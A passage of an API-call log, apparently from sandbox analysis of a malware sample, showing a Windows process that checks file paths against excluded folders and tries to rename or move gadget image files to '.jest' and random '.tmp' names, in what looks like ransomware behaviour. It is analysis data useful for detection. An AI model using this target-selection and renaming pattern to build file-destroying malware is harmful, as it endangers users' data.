0x83 [0127.002] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.002] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", cchLength=0x54 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png") returned 0x54 [0127.003] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.003] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", cchLength=0x54 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png") returned 0x54 [0127.003] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.003] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", cchLength=0x54 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png") returned 0x54 [0127.003] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.003] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", cchLength=0x54 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png") returned 0x54 [0127.003] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.003] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", cchLength=0x54 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png") returned 0x54 [0127.004] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.004] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", cchLength=0x54 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png") returned 0x54 [0127.004] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.004] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.004] GetTickCount () returned 0x115231b [0127.004] GetTickCount () returned 0x115231b [0127.004] CoFreeUnusedLibraries () [0127.004] GetTickCount () returned 0x115231b [0127.004] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.004] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.004] GetTickCount () returned 0x115231b [0127.004] IsWindowVisible (hWnd=0x30268) returned 0 [0127.004] Sleep (dwMilliseconds=0x0) [0127.011] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png.jest")) returned 0 [0127.013] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", lpFilePart=0x18e6d8*="glow.png") returned 0x53 [0127.013] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x57, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 0x143ce48 [0127.014] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.015] VarBstrFromR4 (in: fltIn=0x47944572, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.89") returned 0x0 [0127.015] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.015] GetTickCount () returned 0x115232b [0127.016] GetTickCount () returned 0x115232b [0127.016] CoFreeUnusedLibraries () [0127.016] GetTickCount () returned 0x115232b [0127.016] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.016] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.016] GetTickCount () returned 0x115232b [0127.016] IsWindowVisible (hWnd=0x30268) returned 0 [0127.016] Sleep (dwMilliseconds=0x0) [0127.017] GetFullPathNameA (in: lpFileName="B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp", lpFilePart=0x18e708*="B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp") returned 0x8d [0127.017] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png", lpFilePart=0x18e708*="glow.png") returned 0x53 [0127.018] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b6vriz3nvgonhx3 a3z-b0xmovxnnbygmwupax4d b-fymd-4iwn2ef2rmpedkk-q_ub st lktcphjv-s9v_tdey2nlhswtm9m.tmp")) returned 0 [0127.020] GetLastError () returned 0x5 [0127.020] GetLastError () returned 0x5 [0127.020] SetLastError (dwErrCode=0x5) [0127.020] GetLastError () returned 0x5 [0127.020] SetLastError (dwErrCode=0x5) [0127.020] GetLastError () returned 0x5 [0127.020] SetLastError (dwErrCode=0x5) [0127.020] GetFullPathNameA (in: lpFileName="B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp", lpFilePart=0x18e6e4*="B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp") returned 0x8d [0127.020] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B6vRiZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x52763642, cFileName="iZ3nvgoNHx3 a3Z-B0xMoVxnNbyGmWUpax4D b-fYMD-4Iwn2ef2rmPedKk-q_ub St lKTcPhjV-s9V_TdEY2NLhsWTM9m.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.021] GetLastError () returned 0x2 [0127.021] GetLastError () returned 0x2 [0127.021] SetLastError (dwErrCode=0x2) [0127.021] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png", cchLength=0x80 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png") returned 0x80 [0127.021] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.021] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png", cchLength=0x80 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png") returned 0x80 [0127.021] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.022] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png", cchLength=0x80 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png") returned 0x80 [0127.022] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.022] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png", cchLength=0x80 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png") returned 0x80 [0127.022] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.022] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png", cchLength=0x80 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png") returned 0x80 [0127.022] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.022] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png", cchLength=0x80 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\glow.png") returned 0x80 [0127.023] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.023] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png") returned 0x83 [0127.023] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.023] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png") returned 0x83 [0127.023] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.023] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png") returned 0x83 [0127.023] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.024] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png") returned 0x83 [0127.024] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.024] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png") returned 0x83 [0127.024] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.024] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_down.png") returned 0x83 [0127.024] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.025] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png") returned 0x85 [0127.025] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.025] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png") returned 0x85 [0127.025] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.025] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png") returned 0x85 [0127.025] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.025] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png") returned 0x85 [0127.026] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.026] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png") returned 0x85 [0127.026] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.026] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_down.png") returned 0x85 [0127.026] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.026] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png") returned 0x83 [0127.026] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.027] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png") returned 0x83 [0127.027] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.027] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png") returned 0x83 [0127.027] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.027] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png") returned 0x83 [0127.027] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.027] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png") returned 0x83 [0127.027] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.027] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\hint_over.png") returned 0x83 [0127.028] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.028] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png") returned 0x85 [0127.028] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.028] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png") returned 0x85 [0127.028] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.028] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png") returned 0x85 [0127.028] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.028] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png") returned 0x85 [0127.029] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.029] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png") returned 0x85 [0127.029] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.029] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_over.png") returned 0x85 [0127.029] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.029] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png") returned 0x57 [0127.030] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.030] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png") returned 0x57 [0127.030] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.030] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows 